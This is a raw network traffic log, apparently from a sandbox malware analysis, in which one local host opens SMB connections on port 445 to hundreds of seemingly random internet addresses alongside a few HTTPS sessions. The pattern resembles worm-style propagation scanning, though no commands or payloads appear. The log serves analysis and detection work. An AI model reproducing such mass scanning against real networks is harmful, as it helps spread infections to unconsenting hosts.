Jul 21, 2022 04:35:25.936794996 CEST	51785	445	192.168.2.6	28.8.187.139
Jul 21, 2022 04:35:25.936898947 CEST	51786	445	192.168.2.6	88.137.122.117
Jul 21, 2022 04:35:25.937021017 CEST	51787	445	192.168.2.6	183.24.75.93
Jul 21, 2022 04:35:25.937657118 CEST	51790	445	192.168.2.6	221.102.31.146
Jul 21, 2022 04:35:25.937753916 CEST	51791	445	192.168.2.6	214.14.2.183
Jul 21, 2022 04:35:25.938013077 CEST	51797	445	192.168.2.6	209.239.236.165
Jul 21, 2022 04:35:25.938111067 CEST	51798	445	192.168.2.6	45.76.151.244
Jul 21, 2022 04:35:25.938196898 CEST	51799	445	192.168.2.6	121.49.78.227
Jul 21, 2022 04:35:25.938304901 CEST	51800	445	192.168.2.6	181.123.191.248
Jul 21, 2022 04:35:25.938405991 CEST	51801	445	192.168.2.6	154.25.162.191
Jul 21, 2022 04:35:25.941133022 CEST	51803	445	192.168.2.6	1.251.36.222
Jul 21, 2022 04:35:25.980838060 CEST	443	51763	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:25.980917931 CEST	51763	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.984613895 CEST	51763	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.984636068 CEST	443	51763	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:25.987077951 CEST	51763	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:25.987097979 CEST	443	51763	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.043908119 CEST	443	51763	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.043988943 CEST	443	51763	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.044006109 CEST	51763	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.044054985 CEST	51763	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.120872974 CEST	51763	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.120912075 CEST	443	51763	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.120920897 CEST	51763	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.120980978 CEST	51763	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.155119896 CEST	51805	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.155169964 CEST	443	51805	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.155256033 CEST	51805	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.278146982 CEST	51805	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.278172970 CEST	443	51805	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.417182922 CEST	443	51805	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.417270899 CEST	51805	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.439640045 CEST	51805	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.439656019 CEST	443	51805	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.442553997 CEST	51805	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.442569017 CEST	443	51805	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.634391069 CEST	443	51805	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.634453058 CEST	443	51805	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.634566069 CEST	51805	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.636790991 CEST	51805	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.636821032 CEST	443	51805	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.636830091 CEST	51805	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.640857935 CEST	51805	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.644124031 CEST	51808	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.644162893 CEST	443	51808	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.644284010 CEST	51808	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.648765087 CEST	51808	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.648789883 CEST	443	51808	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.797091961 CEST	443	51808	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.797218084 CEST	51808	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.896611929 CEST	51808	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.896656990 CEST	443	51808	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.958278894 CEST	51808	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:26.958297968 CEST	443	51808	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:26.969722033 CEST	51810	445	192.168.2.6	213.250.83.180
Jul 21, 2022 04:35:26.970046997 CEST	51811	445	192.168.2.6	89.84.28.8
Jul 21, 2022 04:35:27.050312996 CEST	51813	445	192.168.2.6	90.71.114.139
Jul 21, 2022 04:35:27.050985098 CEST	51814	445	192.168.2.6	89.159.240.82
Jul 21, 2022 04:35:27.051624060 CEST	51815	445	192.168.2.6	59.55.68.106
Jul 21, 2022 04:35:27.052325010 CEST	51816	445	192.168.2.6	76.171.53.115
Jul 21, 2022 04:35:27.052983046 CEST	51817	445	192.168.2.6	210.103.59.22
Jul 21, 2022 04:35:27.053638935 CEST	51818	445	192.168.2.6	54.91.76.240
Jul 21, 2022 04:35:27.054291010 CEST	51819	445	192.168.2.6	172.126.47.218
Jul 21, 2022 04:35:27.054944038 CEST	51820	445	192.168.2.6	21.90.124.0
Jul 21, 2022 04:35:27.055597067 CEST	51821	445	192.168.2.6	40.234.146.163
Jul 21, 2022 04:35:27.056252003 CEST	51822	445	192.168.2.6	95.46.101.66
Jul 21, 2022 04:35:27.056914091 CEST	51823	445	192.168.2.6	119.224.244.240
Jul 21, 2022 04:35:27.057550907 CEST	51824	445	192.168.2.6	18.82.136.177
Jul 21, 2022 04:35:27.058228016 CEST	51825	445	192.168.2.6	134.62.245.213
Jul 21, 2022 04:35:27.059070110 CEST	51826	445	192.168.2.6	131.173.166.163
Jul 21, 2022 04:35:27.063826084 CEST	51827	445	192.168.2.6	206.207.246.76
Jul 21, 2022 04:35:27.064821959 CEST	51829	445	192.168.2.6	223.91.148.173
Jul 21, 2022 04:35:27.065330982 CEST	51830	445	192.168.2.6	6.248.89.219
Jul 21, 2022 04:35:27.065845966 CEST	51831	445	192.168.2.6	95.221.19.237
Jul 21, 2022 04:35:27.066349983 CEST	51832	445	192.168.2.6	146.154.70.245
Jul 21, 2022 04:35:27.066881895 CEST	51833	445	192.168.2.6	71.84.157.72
Jul 21, 2022 04:35:27.069875002 CEST	51839	445	192.168.2.6	180.18.6.60
Jul 21, 2022 04:35:27.070404053 CEST	51840	445	192.168.2.6	186.13.100.53
Jul 21, 2022 04:35:27.071822882 CEST	51843	445	192.168.2.6	89.229.226.13
Jul 21, 2022 04:35:27.072334051 CEST	51844	445	192.168.2.6	168.74.189.194
Jul 21, 2022 04:35:27.072848082 CEST	51845	445	192.168.2.6	193.198.100.57
Jul 21, 2022 04:35:27.073792934 CEST	51847	445	192.168.2.6	144.247.232.55
Jul 21, 2022 04:35:27.074301958 CEST	51848	445	192.168.2.6	148.157.22.108
Jul 21, 2022 04:35:27.074810028 CEST	51849	445	192.168.2.6	169.72.47.122
Jul 21, 2022 04:35:27.109198093 CEST	443	51808	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:27.109287977 CEST	443	51808	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:27.109319925 CEST	51808	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:27.109353065 CEST	51808	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:27.293011904 CEST	51808	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:27.293046951 CEST	443	51808	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:27.293056011 CEST	51808	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:27.293098927 CEST	51808	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:27.318783998 CEST	51851	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:27.318836927 CEST	443	51851	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:27.318931103 CEST	51851	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:27.323590994 CEST	51851	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:27.323609114 CEST	443	51851	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:27.454058886 CEST	51852	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:27.468732119 CEST	443	51851	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:27.468914032 CEST	51851	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:27.480719090 CEST	445	51852	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:27.480844021 CEST	51852	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:27.480984926 CEST	51852	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:27.503484011 CEST	445	51852	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:27.509347916 CEST	51852	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:27.534353971 CEST	445	51852	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:27.534660101 CEST	51852	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:27.557075977 CEST	445	51852	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:27.557284117 CEST	51852	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:27.581976891 CEST	445	51852	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:27.582124949 CEST	51852	445	192.168.2.6	207.180.242.13
Jul 21, 2022 04:35:27.607218981 CEST	445	51852	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:27.607239008 CEST	445	51852	207.180.242.13	192.168.2.6
Jul 21, 2022 04:35:27.669060946 CEST	51854	445	192.168.2.6	207.180.242.14
Jul 21, 2022 04:35:27.691292048 CEST	445	51854	207.180.242.14	192.168.2.6
Jul 21, 2022 04:35:27.777452946 CEST	51627	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:27.899240017 CEST	51851	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:27.899261951 CEST	443	51851	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:28.079225063 CEST	51857	445	192.168.2.6	209.207.170.24
Jul 21, 2022 04:35:28.079282045 CEST	51858	445	192.168.2.6	151.124.232.213
Jul 21, 2022 04:35:28.200675011 CEST	51860	445	192.168.2.6	204.226.29.167
Jul 21, 2022 04:35:28.231730938 CEST	51861	445	192.168.2.6	13.171.201.205
Jul 21, 2022 04:35:28.231800079 CEST	51862	445	192.168.2.6	179.2.48.112
Jul 21, 2022 04:35:28.231923103 CEST	51863	445	192.168.2.6	16.133.161.151
Jul 21, 2022 04:35:28.232084036 CEST	51865	445	192.168.2.6	201.73.59.151
Jul 21, 2022 04:35:28.232165098 CEST	51866	445	192.168.2.6	188.122.75.81
Jul 21, 2022 04:35:28.232255936 CEST	51867	445	192.168.2.6	45.249.206.132
Jul 21, 2022 04:35:28.232405901 CEST	51870	445	192.168.2.6	161.16.116.212
Jul 21, 2022 04:35:28.232635975 CEST	51875	445	192.168.2.6	188.201.218.209
Jul 21, 2022 04:35:28.232804060 CEST	51877	445	192.168.2.6	102.215.144.177
Jul 21, 2022 04:35:28.232912064 CEST	51878	445	192.168.2.6	41.10.243.225
Jul 21, 2022 04:35:28.233028889 CEST	51879	445	192.168.2.6	110.253.116.181
Jul 21, 2022 04:35:28.233172894 CEST	51880	445	192.168.2.6	114.20.77.62
Jul 21, 2022 04:35:28.233352900 CEST	51882	445	192.168.2.6	94.50.92.207
Jul 21, 2022 04:35:28.233447075 CEST	51883	445	192.168.2.6	8.38.224.111
Jul 21, 2022 04:35:28.233550072 CEST	51884	445	192.168.2.6	5.141.95.23
Jul 21, 2022 04:35:28.233673096 CEST	51885	445	192.168.2.6	14.38.234.4
Jul 21, 2022 04:35:28.233799934 CEST	51886	445	192.168.2.6	164.18.114.251
Jul 21, 2022 04:35:28.233911991 CEST	51887	445	192.168.2.6	128.164.25.39
Jul 21, 2022 04:35:28.234050035 CEST	51888	445	192.168.2.6	61.91.117.145
Jul 21, 2022 04:35:28.234601974 CEST	51889	445	192.168.2.6	111.178.228.175
Jul 21, 2022 04:35:28.234749079 CEST	51890	445	192.168.2.6	31.87.73.216
Jul 21, 2022 04:35:28.235033989 CEST	51891	445	192.168.2.6	69.213.74.134
Jul 21, 2022 04:35:28.235156059 CEST	51892	445	192.168.2.6	4.156.176.225
Jul 21, 2022 04:35:28.235291004 CEST	51893	445	192.168.2.6	14.3.142.103
Jul 21, 2022 04:35:28.235404015 CEST	51894	445	192.168.2.6	85.212.66.228
Jul 21, 2022 04:35:28.235563993 CEST	51895	445	192.168.2.6	116.204.218.151
Jul 21, 2022 04:35:28.235682964 CEST	51896	445	192.168.2.6	132.178.163.3
Jul 21, 2022 04:35:28.328006029 CEST	51854	445	192.168.2.6	207.180.242.14
Jul 21, 2022 04:35:28.348643064 CEST	445	51854	207.180.242.14	192.168.2.6
Jul 21, 2022 04:35:28.437067986 CEST	445	51878	41.10.243.225	192.168.2.6
Jul 21, 2022 04:35:28.726512909 CEST	51899	445	192.168.2.6	207.180.242.15
Jul 21, 2022 04:35:28.752532005 CEST	445	51899	207.180.242.15	192.168.2.6
Jul 21, 2022 04:35:29.015595913 CEST	51628	445	192.168.2.6	190.98.231.38
Jul 21, 2022 04:35:29.015755892 CEST	51878	445	192.168.2.6	41.10.243.225
Jul 21, 2022 04:35:29.215878963 CEST	51903	445	192.168.2.6	74.92.5.198
Jul 21, 2022 04:35:29.216470957 CEST	51904	445	192.168.2.6	61.77.33.56
Jul 21, 2022 04:35:29.218204975 CEST	445	51878	41.10.243.225	192.168.2.6
Jul 21, 2022 04:35:29.313550949 CEST	51906	445	192.168.2.6	213.22.85.11
Jul 21, 2022 04:35:29.328444004 CEST	51899	445	192.168.2.6	207.180.242.15
Jul 21, 2022 04:35:29.353626013 CEST	445	51899	207.180.242.15	192.168.2.6
Jul 21, 2022 04:35:29.378091097 CEST	51907	445	192.168.2.6	171.117.220.139
Jul 21, 2022 04:35:29.405356884 CEST	51909	445	192.168.2.6	53.216.138.17
Jul 21, 2022 04:35:29.406564951 CEST	51910	445	192.168.2.6	9.189.60.31
Jul 21, 2022 04:35:29.407337904 CEST	51911	445	192.168.2.6	8.228.40.156
Jul 21, 2022 04:35:29.418898106 CEST	51912	445	192.168.2.6	176.218.109.96
Jul 21, 2022 04:35:29.425122023 CEST	51913	445	192.168.2.6	206.187.9.4
Jul 21, 2022 04:35:29.425240040 CEST	51914	445	192.168.2.6	109.38.218.172
Jul 21, 2022 04:35:29.425343037 CEST	51915	445	192.168.2.6	74.95.174.28
Jul 21, 2022 04:35:29.425452948 CEST	51916	445	192.168.2.6	143.253.75.8
Jul 21, 2022 04:35:29.425548077 CEST	51917	445	192.168.2.6	72.192.107.162
Jul 21, 2022 04:35:29.425657988 CEST	51918	445	192.168.2.6	223.199.219.69
Jul 21, 2022 04:35:29.425757885 CEST	51919	445	192.168.2.6	222.72.208.169
Jul 21, 2022 04:35:29.425844908 CEST	51920	445	192.168.2.6	4.8.230.249
Jul 21, 2022 04:35:29.425951958 CEST	51921	445	192.168.2.6	51.67.61.169
Jul 21, 2022 04:35:29.426048040 CEST	51922	445	192.168.2.6	214.192.60.111
Jul 21, 2022 04:35:29.426141977 CEST	51923	445	192.168.2.6	215.57.24.166
Jul 21, 2022 04:35:29.426237106 CEST	51924	445	192.168.2.6	56.149.226.49
Jul 21, 2022 04:35:29.426336050 CEST	51925	445	192.168.2.6	65.110.111.240
Jul 21, 2022 04:35:29.426434040 CEST	51926	445	192.168.2.6	38.229.179.227
Jul 21, 2022 04:35:29.426517010 CEST	51927	445	192.168.2.6	21.95.242.74
Jul 21, 2022 04:35:29.426608086 CEST	51928	445	192.168.2.6	9.235.60.48
Jul 21, 2022 04:35:29.426825047 CEST	51931	445	192.168.2.6	148.217.31.215
Jul 21, 2022 04:35:29.426928043 CEST	51932	445	192.168.2.6	9.12.172.220
Jul 21, 2022 04:35:29.427097082 CEST	51935	445	192.168.2.6	41.97.0.249
Jul 21, 2022 04:35:29.427326918 CEST	51940	445	192.168.2.6	15.145.130.41
Jul 21, 2022 04:35:29.427468061 CEST	51942	445	192.168.2.6	54.84.172.81
Jul 21, 2022 04:35:29.773183107 CEST	51945	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:29.773226023 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:29.773334980 CEST	51945	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:29.773775101 CEST	51945	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:29.773793936 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:29.798744917 CEST	51946	445	192.168.2.6	207.180.242.16
Jul 21, 2022 04:35:29.821393967 CEST	445	51946	207.180.242.16	192.168.2.6
Jul 21, 2022 04:35:29.821563005 CEST	51946	445	192.168.2.6	207.180.242.16
Jul 21, 2022 04:35:29.821712017 CEST	51946	445	192.168.2.6	207.180.242.16
Jul 21, 2022 04:35:29.830758095 CEST	51947	445	192.168.2.6	207.180.242.16
Jul 21, 2022 04:35:29.844280005 CEST	445	51946	207.180.242.16	192.168.2.6
Jul 21, 2022 04:35:29.844319105 CEST	445	51946	207.180.242.16	192.168.2.6
Jul 21, 2022 04:35:29.855580091 CEST	445	51947	207.180.242.16	192.168.2.6
Jul 21, 2022 04:35:29.855686903 CEST	51947	445	192.168.2.6	207.180.242.16
Jul 21, 2022 04:35:29.855859995 CEST	51947	445	192.168.2.6	207.180.242.16
Jul 21, 2022 04:35:29.880951881 CEST	445	51947	207.180.242.16	192.168.2.6
Jul 21, 2022 04:35:29.881138086 CEST	51947	445	192.168.2.6	207.180.242.16
Jul 21, 2022 04:35:29.906168938 CEST	445	51947	207.180.242.16	192.168.2.6
Jul 21, 2022 04:35:29.906392097 CEST	51947	445	192.168.2.6	207.180.242.16
Jul 21, 2022 04:35:29.931467056 CEST	445	51947	207.180.242.16	192.168.2.6
Jul 21, 2022 04:35:29.937218904 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:29.937457085 CEST	51945	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:29.950148106 CEST	51945	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:29.950175047 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:29.950496912 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:29.964174986 CEST	51945	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:30.008502960 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:30.060885906 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:30.060961962 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:30.060998917 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:30.061139107 CEST	51945	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:30.061153889 CEST	51945	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:30.061166048 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:30.061187029 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:30.061201096 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:30.061245918 CEST	51945	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:30.061295033 CEST	51945	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:30.061310053 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:30.061331987 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:30.061383963 CEST	51945	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:30.069453955 CEST	51945	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:30.069488049 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:30.069516897 CEST	51945	443	192.168.2.6	20.54.89.106
Jul 21, 2022 04:35:30.069525003 CEST	443	51945	20.54.89.106	192.168.2.6
Jul 21, 2022 04:35:30.329807997 CEST	51951	445	192.168.2.6	110.76.135.138
Jul 21, 2022 04:35:30.330544949 CEST	51952	445	192.168.2.6	15.67.107.99
Jul 21, 2022 04:35:30.441271067 CEST	51954	445	192.168.2.6	122.123.214.129
Jul 21, 2022 04:35:30.501049042 CEST	51956	445	192.168.2.6	43.21.162.110
Jul 21, 2022 04:35:30.516529083 CEST	51957	445	192.168.2.6	153.42.157.175
Jul 21, 2022 04:35:30.532011986 CEST	51958	445	192.168.2.6	93.194.236.134
Jul 21, 2022 04:35:30.533065081 CEST	51960	445	192.168.2.6	6.104.105.124
Jul 21, 2022 04:35:30.547797918 CEST	51959	445	192.168.2.6	172.115.198.172
Jul 21, 2022 04:35:30.555552959 CEST	51963	445	192.168.2.6	202.128.169.91
Jul 21, 2022 04:35:30.555813074 CEST	51961	445	192.168.2.6	100.163.20.129
Jul 21, 2022 04:35:30.558723927 CEST	51968	445	192.168.2.6	20.182.135.193
Jul 21, 2022 04:35:30.560882092 CEST	51971	445	192.168.2.6	49.72.203.160
Jul 21, 2022 04:35:30.561743975 CEST	51972	445	192.168.2.6	170.17.31.140
Jul 21, 2022 04:35:30.562489986 CEST	51973	445	192.168.2.6	168.43.7.182
Jul 21, 2022 04:35:30.564073086 CEST	51975	445	192.168.2.6	71.122.25.4
Jul 21, 2022 04:35:30.564627886 CEST	51976	445	192.168.2.6	11.186.123.58
Jul 21, 2022 04:35:30.578685045 CEST	51977	445	192.168.2.6	125.42.156.151
Jul 21, 2022 04:35:30.582998991 CEST	51978	445	192.168.2.6	199.225.54.47
Jul 21, 2022 04:35:30.583098888 CEST	51979	445	192.168.2.6	68.222.120.114
Jul 21, 2022 04:35:30.583175898 CEST	51980	445	192.168.2.6	136.98.1.177
Jul 21, 2022 04:35:30.583235979 CEST	51981	445	192.168.2.6	195.85.212.51
Jul 21, 2022 04:35:30.583348036 CEST	51982	445	192.168.2.6	222.168.29.229
Jul 21, 2022 04:35:30.583561897 CEST	51983	445	192.168.2.6	21.250.189.98
Jul 21, 2022 04:35:30.583642960 CEST	51984	445	192.168.2.6	155.130.149.222
Jul 21, 2022 04:35:30.583745003 CEST	51985	445	192.168.2.6	194.158.98.11
Jul 21, 2022 04:35:30.583823919 CEST	51986	445	192.168.2.6	109.236.162.227
Jul 21, 2022 04:35:30.583897114 CEST	51987	445	192.168.2.6	95.10.18.30
Jul 21, 2022 04:35:30.583961964 CEST	51988	445	192.168.2.6	3.229.137.253
Jul 21, 2022 04:35:30.584036112 CEST	51989	445	192.168.2.6	161.188.190.207
Jul 21, 2022 04:35:30.584887981 CEST	51990	445	192.168.2.6	13.244.91.191
Jul 21, 2022 04:35:31.454855919 CEST	51997	445	192.168.2.6	193.201.69.116
Jul 21, 2022 04:35:31.455574036 CEST	51998	445	192.168.2.6	187.199.184.198
Jul 21, 2022 04:35:31.569144011 CEST	52000	445	192.168.2.6	129.41.23.112
Jul 21, 2022 04:35:31.632018089 CEST	52002	445	192.168.2.6	158.97.161.175
Jul 21, 2022 04:35:31.644845009 CEST	52003	445	192.168.2.6	150.149.148.125
Jul 21, 2022 04:35:31.660909891 CEST	52004	445	192.168.2.6	149.144.106.22
Jul 21, 2022 04:35:31.661588907 CEST	52005	445	192.168.2.6	27.138.200.62
Jul 21, 2022 04:35:31.663630962 CEST	52008	445	192.168.2.6	212.114.226.1
Jul 21, 2022 04:35:31.667220116 CEST	52013	445	192.168.2.6	199.67.133.33
Jul 21, 2022 04:35:31.668615103 CEST	52015	445	192.168.2.6	120.4.145.237
Jul 21, 2022 04:35:31.669353962 CEST	52016	445	192.168.2.6	42.73.100.99
Jul 21, 2022 04:35:31.670083046 CEST	52017	445	192.168.2.6	1.110.13.91
Jul 21, 2022 04:35:31.670799971 CEST	52018	445	192.168.2.6	70.13.62.8
Jul 21, 2022 04:35:31.702207088 CEST	52019	445	192.168.2.6	214.90.69.42
Jul 21, 2022 04:35:31.710298061 CEST	52020	445	192.168.2.6	134.67.109.78
Jul 21, 2022 04:35:31.710957050 CEST	52021	445	192.168.2.6	175.154.174.21
Jul 21, 2022 04:35:31.711123943 CEST	52022	445	192.168.2.6	168.81.181.98
Jul 21, 2022 04:35:31.711237907 CEST	52024	445	192.168.2.6	31.127.142.80
Jul 21, 2022 04:35:31.711349010 CEST	52025	445	192.168.2.6	150.227.76.35
Jul 21, 2022 04:35:31.711429119 CEST	52026	445	192.168.2.6	75.178.64.47
Jul 21, 2022 04:35:31.711555958 CEST	52027	445	192.168.2.6	216.175.153.144
Jul 21, 2022 04:35:31.711626053 CEST	52028	445	192.168.2.6	11.246.156.217
Jul 21, 2022 04:35:31.711735964 CEST	52029	445	192.168.2.6	198.200.148.18
Jul 21, 2022 04:35:31.711822987 CEST	52030	445	192.168.2.6	183.138.54.21
Jul 21, 2022 04:35:31.711905003 CEST	52031	445	192.168.2.6	172.100.36.200
Jul 21, 2022 04:35:31.711988926 CEST	52032	445	192.168.2.6	80.110.112.30
Jul 21, 2022 04:35:31.712089062 CEST	52033	445	192.168.2.6	97.225.68.231
Jul 21, 2022 04:35:31.712171078 CEST	52034	445	192.168.2.6	85.22.68.165
Jul 21, 2022 04:35:31.712208986 CEST	52035	445	192.168.2.6	134.244.195.71
Jul 21, 2022 04:35:31.712377071 CEST	52036	445	192.168.2.6	66.119.4.39
Jul 21, 2022 04:35:31.939275026 CEST	52038	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:31.939311028 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:31.939403057 CEST	52038	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:31.939939022 CEST	52038	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:31.939951897 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:32.059314966 CEST	51851	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.059344053 CEST	443	51851	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.115919113 CEST	443	51851	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.115988970 CEST	443	51851	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.116014957 CEST	51851	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.116046906 CEST	51851	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.150496960 CEST	51851	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.150536060 CEST	443	51851	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.150544882 CEST	51851	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.150589943 CEST	51851	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.164186954 CEST	52042	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.164227962 CEST	443	52042	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.164303064 CEST	52042	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.168750048 CEST	52042	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.168762922 CEST	443	52042	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.316301107 CEST	443	52042	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.316409111 CEST	52042	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.374139071 CEST	52042	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.374152899 CEST	443	52042	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.381761074 CEST	52042	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.381792068 CEST	443	52042	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.456034899 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:32.456216097 CEST	52038	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:32.463246107 CEST	52038	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:32.463272095 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:32.463689089 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:32.479607105 CEST	443	52042	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.479681969 CEST	443	52042	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.479707003 CEST	52042	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.479753971 CEST	52042	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.480082035 CEST	52038	443	192.168.2.6	40.125.122.176
Jul 21, 2022 04:35:32.480585098 CEST	52042	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.480604887 CEST	443	52042	20.238.103.94	192.168.2.6
Jul 21, 2022 04:35:32.480637074 CEST	52042	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.480664968 CEST	52042	443	192.168.2.6	20.238.103.94
Jul 21, 2022 04:35:32.520498991 CEST	443	52038	40.125.122.176	192.168.2.6
Jul 21, 2022 04:35:32.595302105 CEST	52045	445	192.168.2.6	19.191.228.5
